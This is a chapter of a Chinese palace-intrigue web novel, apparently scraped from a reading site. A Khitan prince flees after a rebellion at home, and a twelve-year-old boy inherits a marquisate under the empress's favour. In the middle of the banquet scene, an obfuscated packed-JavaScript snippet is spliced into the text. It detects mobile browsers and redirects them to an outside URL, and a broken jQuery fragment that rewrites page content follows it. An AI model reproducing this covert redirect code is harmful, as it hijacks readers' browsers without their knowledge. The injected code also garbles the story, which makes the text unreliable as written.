“……你够狠!”耶律良才眼神危险的看着宋墨辰,愤恨的留下几个字,转身带着众人离开。
他素来知道宋墨辰的名号,可从前,他只当宋墨辰是个值得尊敬的对手,今日他才算真正见识到了宋墨辰的恐怖。
他不仅心思缜密,能把一切都算无遗漏,还能在谈笑间掌控全局。
这一局,他输了。
宋墨辰站在原地,看着耶律良才仓皇而走,嘴角不自觉的上扬。
秦时月就坐在他身后,却并不知道他们谈了些什么,更不知道耶律良才怎么会突然离开。
她皱眉看着宋墨辰宽厚的后背,眼神里多了几分疑惑。
……
耶律良才几乎是踉跄着冲进驿馆的,方才在侯府被宋墨辰压制的恐惧,还没完全散去。
他一把推开书房的门,不等侍女奉茶,就对着门外喊道:“来人!把笔墨纸砚备好!本王要给契丹写急信!”
侍女不敢怠慢,连忙铺好宣纸、研好墨。
耶律良才抓过毛笔,低头奋笔疾书。
事情败露,他只能让契丹选个清白的贵族女子送来,并把乌林答珠接回去。
他深吸一口气,刚写了没几个字,心腹突然闯了进来,“大王!大事不好了!”
“慌什么!本王还在,有什么事不能慢慢说!”
耶律良才本就心情烦闷,心腹还这样莽撞,他更是火冒三丈。
“大王!契丹乱了!”心腹满脸焦灼,语速极快的说道:“刚收到的急信,乌林部落突然起兵**了!说是不满大王为了联姻牺牲郡主,要逼大王退位!”
“什么!?”耶律良才大惊,笔尖的墨水落下,氤氲开一片墨迹。
乌林部是契丹的大部族,兵力雄厚,一直是他的心头大患。
他们一旦**,契丹必乱,此时他不在契丹坐镇,若是被其他部族趁机钻了空子,后果不堪设想!
他们怎敢!
“怎么会这样……”耶律良才满脸凝重的跌坐在椅子上,眼神狠戾。
一边是宋墨辰的步步紧逼,一边是契丹内部的叛乱,逼得他连喘息的机会都没有。
“大王,不能犹豫了!再等下去他们就要逼近王庭了,您得赶紧回去主持大局啊!要是晚了,契丹就要落入贼人之手了!”
耶律良才猛地抬起头,眼里闪过一丝狠厉。
“备马!立刻备马!现在就走!从密道离开京城,快马加鞭赶回契丹!”
“……那郡主怎么办?还有联姻一事。”
“管不了那么多了,等本王平定了叛乱,再回来处理这些事!”
说完,耶律良才再也没回头,大步流星地走出驿馆。
……
几日后。
长乐侯一下葬,府内便将白幡匆匆撤去,众人皆知,长乐侯意图谋反,能让他以侯爷的身份下葬,已经是天家法外开恩。
若是再大张旗鼓为其举办丧事,怕是会寒了将士们的心。
只不过,长乐侯已死,侯府不可一日无主,秦家袭爵一事,需得尽快提上日程。
芳姨娘对此很是苦恼,便借着由头进宫,旁敲侧击向秦时月询问。
如今没有外人在场,秦时月的表情不在沉痛,而是恢复了以往的平静无波,“择日不如撞日,明远,也该承担起侯府的责任了。”
得到秦时月的默许后,芳姨娘眼前一亮,赶紧着筹办袭爵一事。
她的儿子袭爵,必然要办得漂漂亮亮的!
为了给秦明远铺路,芳姨娘煞有介事的办了个袭爵宴,邀请文武百官到侯府吃酒,大臣们看在秦时月的面子上,纷纷赴约。
不一会儿,侯府正厅内便坐满了人。
而宋墨辰也陪着秦时月来了。
宋墨辰一身简单的墨色长袍,墨发用玉冠束起,狭长的不怒自威的锐眸始终放在身侧的秦时月身上。
秦时月则穿了件云锦襦裙,鬓边别了支素银簪子,脸上脂粉未施,却仍是难掩倾国之色。
两人进门后,她便静**在了他身侧,举手投足间尽显端庄优雅。
“娘娘,明远准备好了。”芳姨娘走到秦时月身边,恭敬说道。
秦明远不过十二岁,还未及冠,脸上稚气未消。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568427|171450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他年纪虽小,却站得笔直,眼神里透着超出年龄的沉稳。
秦时月点了点头,嘴角含笑的抬手理了理秦明远的衣领,“父亲虽然去了,但有姐姐为你撑腰,别怕。”
此言一出,正厅内落针可闻。
此言,算得上是她的偏宠了,有了她这话,即便秦明远年岁不大,可绝不会有人胆敢不将他放在眼里。
秦明远用力点头,乖巧又聪明的应道:“多谢长姐。”
这一刻,他没有跟旁人一样唤她一声“娘娘”。
看到这一幕,芳姨娘眼眶泛红,吸吸鼻子引着秦明远走到正厅之中。
她入府多年,跟后宅这些姨娘勾心斗角多年,怎会不知秦时月的用意?这一刻,她是真的感激秦时月的。
当初若不是秦时月,她身为一个见不得光的外室,怕是和远儿早死在外头了……
宾客们惯是会看眼色,见状,纷纷议论起来。
“明远少爷这般模样,真是有皇后娘娘当年的风采!今日袭爵,往后定能将侯府打理得兴旺!”
“没错,当初我就觉得这二少爷非池中物,如今再看,可不是最像皇后娘娘的。”
秦明远规规矩矩躬身行礼,“众大人谬赞了,明远年纪小,还有很多要学的,往后还要劳烦各位长辈指点。”
“哈哈,二少爷真是谦虚。”
“有皇后娘娘在,二少爷还有什么可担心的?将来,定是国之栋梁!”
这话一出,其他宾客也纷纷附和。
“芳夫人真是好福气,明远少爷被教养的这样谦逊懂事。”“秦夫人,日后要是有什么需要帮忙的,尽管跟我说,咱们都是熟人,不必客气。”
夫人们也凑了上来,纷纷夸赞。
芳姨娘笑得得体,没有推辞,“多谢各位夫人惦记,明远能有今日,全靠娘娘的照拂,各位的心意,我替明远记下了,日后定当报答。”
她心里清楚,这些人不是真的待见她母子,而是看在秦时月的面子上才这般热络。
而这些夫人,不外乎是想在皇后面前露脸,她便给她们这个机会,也好笼络人心。